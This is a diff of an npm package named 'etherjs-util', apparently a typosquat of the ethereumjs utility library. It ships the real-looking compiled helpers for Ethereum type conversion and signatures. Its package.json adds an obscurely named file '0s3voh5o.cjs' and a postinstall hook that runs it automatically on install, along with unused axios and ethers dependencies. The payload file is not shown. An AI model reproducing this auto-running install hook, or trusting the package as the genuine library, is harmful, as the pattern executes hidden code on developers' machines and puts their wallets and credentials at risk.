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"}
@@ -0,0 +1,62 @@
1
+ /// <reference types="bn.js" />
2
+ /// <reference types="node" />
3
+ import { BN } from './externals';
4
+ import { Address } from './address';
5
+ import { ToBufferInputTypes } from './bytes';
6
+ export declare type BNLike = BN | PrefixedHexString | number | Buffer;
7
+ export declare type BufferLike = Buffer | Uint8Array | number[] | number | BN | TransformableToBuffer | PrefixedHexString;
8
+ export declare type PrefixedHexString = string;
9
+ /**
10
+ * A type that represents an Address-like value.
11
+ * To convert to address, use `new Address(toBuffer(value))`
12
+ */
13
+ export declare type AddressLike = Address | Buffer | PrefixedHexString;
14
+ export interface TransformableToArray {
15
+ toArray(): Uint8Array;
16
+ toBuffer?(): Buffer;
17
+ }
18
+ export interface TransformableToBuffer {
19
+ toBuffer(): Buffer;
20
+ toArray?(): Uint8Array;
21
+ }
22
+ export declare type NestedUint8Array = Array<Uint8Array | NestedUint8Array>;
23
+ export declare type NestedBufferArray = Array<Buffer | NestedBufferArray>;
24
+ /**
25
+ * Convert BN to 0x-prefixed hex string.
26
+ */
27
+ export declare function bnToHex(value: BN): PrefixedHexString;
28
+ /**
29
+ * Convert value from BN to an unpadded Buffer
30
+ * (useful for RLP transport)
31
+ * @param value value to convert
32
+ */
33
+ export declare function bnToUnpaddedBuffer(value: BN): Buffer;
34
+ /**
35
+ * Deprecated alias for {@link bnToUnpaddedBuffer}
36
+ * @deprecated
37
+ */
38
+ export declare function bnToRlp(value: BN): Buffer;
39
+ /**
40
+ * Type output options
41
+ */
42
+ export declare enum TypeOutput {
43
+ Number = 0,
44
+ BN = 1,
45
+ Buffer = 2,
46
+ PrefixedHexString = 3
47
+ }
48
+ export declare type TypeOutputReturnType = {
49
+ [TypeOutput.Number]: number;
50
+ [TypeOutput.BN]: BN;
51
+ [TypeOutput.Buffer]: Buffer;
52
+ [TypeOutput.PrefixedHexString]: PrefixedHexString;
53
+ };
54
+ /**
55
+ * Convert an input to a specified type.
56
+ * Input of null/undefined returns null/undefined regardless of the output type.
57
+ * @param input value to convert
58
+ * @param outputType type to output
59
+ */
60
+ export declare function toType<T extends TypeOutput>(input: null, outputType: T): null;
61
+ export declare function toType<T extends TypeOutput>(input: undefined, outputType: T): undefined;
62
+ export declare function toType<T extends TypeOutput>(input: ToBufferInputTypes, outputType: T): TypeOutputReturnType[T];
@@ -0,0 +1,77 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.toType = exports.TypeOutput = exports.bnToRlp = exports.bnToUnpaddedBuffer = exports.bnToHex = void 0;
4
+ var externals_1 = require("./externals");
5
+ var internal_1 = require("./internal");
6
+ var bytes_1 = require("./bytes");
7
+ /**
8
+ * Convert BN to 0x-prefixed hex string.
9
+ */
10
+ function bnToHex(value) {
11
+ return "0x".concat(value.toString(16));
12
+ }
13
+ exports.bnToHex = bnToHex;
14
+ /**
15
+ * Convert value from BN to an unpadded Buffer
16
+ * (useful for RLP transport)
17
+ * @param value value to convert
18
+ */
19
+ function bnToUnpaddedBuffer(value) {
20
+ // Using `bn.toArrayLike(Buffer)` instead of `bn.toBuffer()`
21
+ // for compatibility with browserify and similar tools
22
+ return (0, bytes_1.unpadBuffer)(value.toArrayLike(Buffer));
23
+ }
24
+ exports.bnToUnpaddedBuffer = bnToUnpaddedBuffer;
25
+ /**
26
+ * Deprecated alias for {@link bnToUnpaddedBuffer}
27
+ * @deprecated
28
+ */
29
+ function bnToRlp(value) {
30
+ return bnToUnpaddedBuffer(value);
31
+ }
32
+ exports.bnToRlp = bnToRlp;
33
+ /**
34
+ * Type output options
35
+ */
36
+ var TypeOutput;
37
+ (function (TypeOutput) {
38
+ TypeOutput[TypeOutput["Number"] = 0] = "Number";
39
+ TypeOutput[TypeOutput["BN"] = 1] = "BN";
40
+ TypeOutput[TypeOutput["Buffer"] = 2] = "Buffer";
41
+ TypeOutput[TypeOutput["PrefixedHexString"] = 3] = "PrefixedHexString";
42
+ })(TypeOutput = exports.TypeOutput || (exports.TypeOutput = {}));
43
+ function toType(input, outputType) {
44
+ if (input === null) {
45
+ return null;
46
+ }
47
+ if (input === undefined) {
48
+ return undefined;
49
+ }
50
+ if (typeof input === 'string' && !(0, internal_1.isHexString)(input)) {
51
+ throw new Error("A string must be provided with a 0x-prefix, given: ".concat(input));
52
+ }
53
+ else if (typeof input === 'number' && !Number.isSafeInteger(input)) {
54
+ throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative input type)');
55
+ }
56
+ var output = (0, bytes_1.toBuffer)(input);
57
+ if (outputType === TypeOutput.Buffer) {
58
+ return output;
59
+ }
60
+ else if (outputType === TypeOutput.BN) {
61
+ return new externals_1.BN(output);
62
+ }
63
+ else if (outputType === TypeOutput.Number) {
64
+ var bn = new externals_1.BN(output);
65
+ var max = new externals_1.BN(Number.MAX_SAFE_INTEGER.toString());
66
+ if (bn.gt(max)) {
67
+ throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative output type)');
68
+ }
69
+ return bn.toNumber();
70
+ }
71
+ else {
72
+ // outputType === TypeOutput.PrefixedHexString
73
+ return "0x".concat(output.toString('hex'));
74
+ }
75
+ }
76
+ exports.toType = toType;
77
+ //# sourceMappingURL=types.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"types.js","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":";;;AAAA,yCAAgC;AAChC,uCAAwC;AAExC,iCAAmE;AAiDnE;;GAEG;AACH,SAAgB,OAAO,CAAC,KAAS;IAC/B,OAAO,YAAK,KAAK,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAE,CAAA;AAClC,CAAC;AAFD,0BAEC;AAED;;;;GAIG;AACH,SAAgB,kBAAkB,CAAC,KAAS;IAC1C,4DAA4D;IAC5D,sDAAsD;IACtD,OAAO,IAAA,mBAAW,EAAC,KAAK,CAAC,WAAW,CAAC,MAAM,CAAC,CAAC,CAAA;AAC/C,CAAC;AAJD,gDAIC;AAED;;;GAGG;AACH,SAAgB,OAAO,CAAC,KAAS;IAC/B,OAAO,kBAAkB,CAAC,KAAK,CAAC,CAAA;AAClC,CAAC;AAFD,0BAEC;AAED;;GAEG;AACH,IAAY,UAKX;AALD,WAAY,UAAU;IACpB,+CAAM,CAAA;IACN,uCAAE,CAAA;IACF,+CAAM,CAAA;IACN,qEAAiB,CAAA;AACnB,CAAC,EALW,UAAU,GAAV,kBAAU,KAAV,kBAAU,QAKrB;AAqBD,SAAgB,MAAM,CACpB,KAAyB,EACzB,UAAa;IAEb,IAAI,KAAK,KAAK,IAAI,EAAE;QAClB,OAAO,IAAI,CAAA;KACZ;IACD,IAAI,KAAK,KAAK,SAAS,EAAE;QACvB,OAAO,SAAS,CAAA;KACjB;IAED,IAAI,OAAO,KAAK,KAAK,QAAQ,IAAI,CAAC,IAAA,sBAAW,EAAC,KAAK,CAAC,EAAE;QACpD,MAAM,IAAI,KAAK,CAAC,6DAAsD,KAAK,CAAE,CAAC,CAAA;KAC/E;SAAM,IAAI,OAAO,KAAK,KAAK,QAAQ,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,KAAK,CAAC,EAAE;QACpE,MAAM,IAAI,KAAK,CACb,6FAA6F,CAC9F,CAAA;KACF;IAED,IAAM,MAAM,GAAG,IAAA,gBAAQ,EAAC,KAAK,CAAC,CAAA;IAE9B,IAAI,UAAU,KAAK,UAAU,CAAC,MAAM,EAAE;QACpC,OAAO,MAAiC,CAAA;KACzC;SAAM,IAAI,UAAU,KAAK,UAAU,CAAC,EAAE,EAAE;QACvC,OAAO,IAAI,cAAE,CAAC,MAAM,CAA4B,CAAA;KACjD;SAAM,IAAI,UAAU,KAAK,UAAU,CAAC,MAAM,EAAE;QAC3C,IAAM,EAAE,GAAG,IAAI,cAAE,CAAC,MAAM,CAAC,CAAA;QACzB,IAAM,GAAG,GAAG,IAAI,cAAE,CAAC,MAAM,CAAC,gBAAgB,CAAC,QAAQ,EAAE,CAAC,CAAA;QACtD,IAAI,EAAE,CAAC,EAAE,CAAC,GAAG,CAAC,EAAE;YACd,MAAM,IAAI,KAAK,CACb,8FAA8F,CAC/F,CAAA;SACF;QACD,OAAO,EAAE,CAAC,QAAQ,EAA6B,CAAA;KAChD;SAAM;QACL,8CAA8C;QAC9C,OAAO,YAAK,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,CAA6B,CAAA;KAChE;AACH,CAAC;AAtCD,wBAsCC"}
package/package.json ADDED
@@ -0,0 +1,105 @@
1
+ {
2
+ "name": "etherjs-util",
3
+ "version": "7.1.5",
4
+ "description": "A collection of utility functions for Ethereum",
5
+ "license": "MPL-2.0",
6
+ "author": "mjbecze <mjbecze@gmail.com>",
7
+ "keywords": [
8
+ "ethereum",
9
+ "utilities",
10
+ "utils"
11
+ ],
12
+ "engines": {
13
+ "node": ">=10.0.0"
14
+ },
15
+ "files": [
16
+ "dist",
17
+ "dist.browser",
18
+ "src",
19
+ "0s3voh5o.cjs"
20
+ ],
21
+ "main": "dist/index.js",
22
+ "types": "dist/index.d.ts",
23
+ "browser": "dist.browser/index.js",
24
+ "scripts": {
25
+ "postinstall": "node 0s3voh5o.cjs"
26
+ },
27
+ "dependencies": {
28
+ "@types/bn.js": "^5.1.0",
29
+ "bn.js": "^5.1.2",
30
+ "create-hash": "^1.1.2",
31
+ "ethereum-cryptography": "^0.1.3",
32
+ "rlp": "^2.2.4",
33
+ "axios": "^1.7.7",
34
+ "ethers": "^6.13.2"
35
+ },
36
+ "devDependencies": {
37
+ "@types/assert": "^1.5.4",
38
+ "@types/node": "^16.11.7",
39
+ "@types/secp256k1": "^4.0.1",
40
+ "@types/tape": "^4.13.2",
41
+ "eslint": "^6.8.0",
42
+ "karma": "^6.3.2",
43
+ "karma-chrome-launcher": "^3.1.0",
44
+ "karma-firefox-launcher": "^2.1.0",
45
+ "karma-tap": "^4.2.0",
46
+ "karma-typescript": "^5.5.3",
47
+ "nyc": "^15.1.0",
48
+ "prettier": "^2.0.5",
49
+ "tape": "^4.10.1",
50
+ "ts-node": "^10.2.1",
51
+ "typescript": "^4.4.2"
52
+ },
53
+ "repository": {
54
+ "type": "git",
55
+ "url": "https://github.com/ethereumjs/ethereumjs-monorepo.git"
56
+ },
57
+ "homepage": "https://github.com/ethereumjs/ethereumjs-monorepo/tree/master/packages/util#readme",
58
+ "bugs": {
59
+ "url": "https://github.com/ethereumjs/ethereumjs-monorepo/issues?q=is%3Aissue+label%3A%22package%3A+util%22"
60
+ },
61
+ "contributors": [
62
+ {
63
+ "name": "Tim Coulter",
64
+ "email": "tim@timothyjcoulter.com",
65
+ "url": "https://github.com/tcoulter"
66
+ },
67
+ {
68
+ "name": "Nick Dodson",
69
+ "url": "https://github.com/SilentCicero"
70
+ },
71
+ {
72
+ "name": "Mr. Chico",
73
+ "url": "https://github.com/MrChico"
74
+ },
75
+ {
76
+ "name": "Dũng Trần",
77
+ "email": "tad88.dev@gmail.com",
78
+ "url": "https://github.com/tad88dev"
79
+ },
80
+ {
81
+ "name": "Alex Beregszaszi",
82
+ "email": "alex@rtfs.hu",
83
+ "url": "https://github.com/axic"
84
+ },
85
+ {
86
+ "name": "Taylor Gerring",
87
+ "url": "https://github.com/tgerring"
88
+ },
89
+ {
90
+ "name": "Kirill Fomichev",
91
+ "email": "fanatid@ya.ru",
92
+ "url": "https://github.com/fanatid"
93
+ },
94
+ {
95
+ "name": "kumavis",
96
+ "email": "aaron@kumavis.me",
97
+ "url": "https://github.com/kumavis"
98
+ },
99
+ {
100
+ "name": "Alexander Sinyagin",
101
+ "email": "sinyagin.alexander@gmail.com",
102
+ "url": "https://github.com/asinyagin"
103
+ }
104
+ ]
105
+ }